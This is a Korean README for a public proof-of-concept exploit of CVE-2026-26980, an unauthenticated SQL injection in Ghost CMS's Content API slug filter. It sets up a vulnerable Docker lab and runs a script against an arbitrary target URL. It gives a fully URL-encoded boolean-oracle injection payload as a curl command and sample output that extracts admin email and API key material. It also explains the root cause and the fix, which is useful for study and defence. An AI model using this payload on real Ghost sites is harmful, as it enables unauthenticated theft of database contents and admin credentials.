
Ghost Content API SQL Injection
★ CVE-2026-26980 TryGhost Ghost CMS Content API SQL Injection PoC ★
https://github.com/user-attachments/assets/e7fab29e-8382-4ecc-986c-68852c28a32c
CVE-2026-26980은 TryGhost Ghost CMS Content API에서 발생하는 인증되지 않은 SQL Injection 취약점입니다. 취약한 경로는 slug:[...] 순서가 처리될 때 공개 Content API 필터 처리 로직을 통해 접근 가능합니다.
이 PoC는 취약한 Ghost 6.19.0 실습 환경을 구축하고, 공개 Content API 요청을 불리언 기반 데이터베이스 읽기 프리미티브로 변환하는 방법을 보여줍니다.
| 제품 | 영향받는 버전 | 수정 버전 | 취약점 유형 |
|---|---|---|---|
| TryGhost Ghost CMS | >= 3.24.0, < 6.19.1 | 6.19.1 | SQL Injection |
실습 환경은 Ghost 6.19.0을 사용합니다.
Docker를 사용하여 취약한 Ghost CMS 환경을 빌드하고 실행합니다:
docker build -t cve-2026-26980 .
docker run --rm -d -p 9102:9102 --name cve-2026-26980 cve-2026-26980
예시:
http://127.0.0.1:9102/
실습 환경은 포트 9102에서 실제 취약한 Ghost 6.19.0 인스턴스를 실행합니다.
실습 환경 Content API 키는 다음과 같습니다:
EQSTLab299
CVE-2026-26980 : TryGhost Ghost CMS Content API SQL Injection 취약점
설명: 6.19.1 미만의 TryGhost Ghost CMS에서 SQL 삽입 취약점이 발견되었습니다. 이 취약점을 통해 공개 Content API 키에 접근할 수 있는 인증되지 않은 공격자가 Content API 필터 매개변수를 통해 임의의 데이터베이스 값을 읽을 수 있습니다. 이 문제는 slug:[...] 필터 정렬 경로에서 발생하며, 사용자 제어 slug 값이 적절한 매개변수 바인딩 없이 원시 SQL에 삽입됩니다.
Ghost Content API 키는 일반적으로 테마, 검색, 포털 또는 프론트엔드 JavaScript를 통해 브라우저에 노출되도록 설계되어 있습니다. 즉, 취약한 경로는 Ghost Admin 인증 없이도 접근 가능할 수 있습니다.
git clone https://github.com/EQSTLab/CVE-2026-26980.git
cd CVE-2026-26980
python3 poc.py --url [Target]
선택적 사용자 정의 Content API 키:
python3 poc.py --url [Target] --key [Content API Key]
python3 poc.py --url [Target]
python3 poc.py --url [Target] --key EQSTLab299
[Target] 예시: http://127.0.0.1:9102
========================================================================
Ghost CMS - 인증되지 않은 SQLi 데이터 추출
========================================================================
대상: [Target]
API 키: [Content API Key]
엔드포인트: Content API (공개, 인증 없음)
[*] 오라클 교정 중... 완료
[*] 1단계: 정찰 (빠른 확인)
length(users.email) = 17
length(users.password) = 60
count(settings) (3자): 110
count(users) (1자): 1
count(api_keys) (1자): 9
[*] 2단계: 값 추출
관리자 이메일 (17자): [email protected]
관리자 이름 (5자): Ghost
관리자 API 키 ID (24자): <redacted>
관리자 API 시크릿 (64자): <redacted>
[*] 3단계: DB 스냅샷
결과: DB 읽기 프리미티브 확인됨
공개 PoC는 실습 환경에서 안전한 데이터베이스 메타데이터와 Ghost API 키 자료를 추출하여 데이터베이스 읽기 영향을 보여줍니다. 챌린지 플래그는 출력하지 않습니다.
GET /ghost/api/content/tags/?key=[Content API Key]&filter=slug:[...]
취약한 로직은 Ghost Content API의 slug:[...] 필터에 대한 입력 직렬화 경로에 존재합니다. Ghost는 리스트 형식의 slug 필터를 지원하며 요청된 slug 순서를 유지하기 위해 ORDER BY CASE 표현식을 생성합니다.
취약한 버전에서는 사용자 제어 slug 값이 SQL 조각에 삽입됩니다. 간략화된 취약한 패턴은 다음과 같습니다:
for (const [index, slug] of slugs.entries()) {
order.push(`WHEN \`${tableName}\`.\`slug\` = '${slug}' THEN ${index}`);
}
slug는 공격자가 제어할 수 있고 매개변수 바인딩 없이 SQL 문자열에 삽입되므로, 조작된 Content API 필터는 의도된 비교를 벗어나 추가 SQL 로직을 주입할 수 있습니다.
실습 환경 PoC는 bacon과 chorizo라는 두 개의 공개 태그를 관찰 가능한 불리언 오라클로 사용합니다.
bacon이 먼저 정렬됩니다.chorizo가 먼저 정렬됩니다.이 테스트를 다양한 SQL 조건으로 반복함으로써 PoC는 데이터베이스 값을 한 번에 한 문자씩 유추할 수 있습니다.
curl을 사용한 불리언 오라클 확인:
curl -s "[Target]/ghost/api/content/tags/?key=EQSTLab299&filter=slug%3A%5B%27%2F%2A%2A%2FAND%2F%2A%2A%2F0%2F%2A%2A%2FTHEN%2F%2A%2A%2F99%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D5%2F%2A%2A%2FTHEN%2F%2A%2A%2F%28SELECT+CASE+WHEN+1%3D1+THEN+0+ELSE+2+END%29%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D7%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FWHEN%2F%2A%2A%2F0%2F%2A%2A%2FOR%2F%2A%2A%2F%27%2Cchorizo%2Cbacon%5D"
근본 원인은 사용자 제어 slug 값으로부터 SQL ORDER BY CASE 조각을 안전하지 않게 구성하는 데 있습니다. 취약한 코드는 Content API 응답 순서를 유지하려고 하지만, 파싱된 NQL 필터 값을 신뢰된 SQL 텍스트로 취급합니다.
강력한 수정 방법은:
Ghost는 6.19.1에서 원시 삽입을 매개변수화된 쿼리 바인딩으로 대체하여 이 문제를 수정했습니다.
이는 CWE-89: SQL 명령어에서 특수 요소의 부적절한 중성화 문제입니다.
Ghost Content API는 의도적으로 공개되어 있기 때문에, 이 취약점을 통해 인증되지 않은 공격자가 공개 콘텐츠 엔드포인트를 통해 데이터베이스 읽기 프리미티브를 생성할 수 있습니다. 데이터베이스 내용과 권한에 따라 공격자는 다음을 수행할 수 있습니다:
+-------------------------------------------+
| 원격 공격자 |
+-------------------------------------------+
|
| GET /ghost/api/content/tags/
| filter = slug:[<SQLi 페이로드>,chorizo,bacon]
v
+-------------------------------------------+
| Ghost 공개 Content API |
+-------------------------------------------+
|
| 안전하지 않은 slug 순서 SQL 구성
v
+-------------------------------------------+
| ORDER BY CASE SQL Injection |
+-------------------------------------------+
|
| 태그 순서의 불리언 차이
v
+-------------------------------------------+
| 인증되지 않은 DB 읽기 |
+-------------------------------------------+
이 실습 환경은 최소한의 모의 서버가 아닌 실제 취약한 Ghost 6.19.0 인스턴스를 실행합니다.
실습 환경 시드:
EQSTLab299bacon, chorizo공개 poc.py는 시연 영상 및 공개 글을 위해 설계되었습니다. 챌린지 플래그를 출력하지 않고 SQL 삽입 영향을 보여줍니다.
docker stop cve-2026-26980
이 저장소는 CVE-2026-26980에 대한 SQL Injection 익스플로잇으로 의도되지 않았습니다. 이 프로젝트의 목적은 사람들이 이 취약점에 대해 배우고, 자신의 애플리케이션을 테스트하는 데 도움을 주는 것입니다.
https://github.com/TryGhost/Ghost/security/advisories/GHSA-w52v-v783-gw97
https://github.com/TryGhost/Ghost/commit/30868d632b2252b638bc8a4c8ebf73964592ed91
https://github.com/TryGhost/Ghost/releases/tag/v6.19.1
https://nvd.nist.gov/vuln/detail/CVE-2026-26980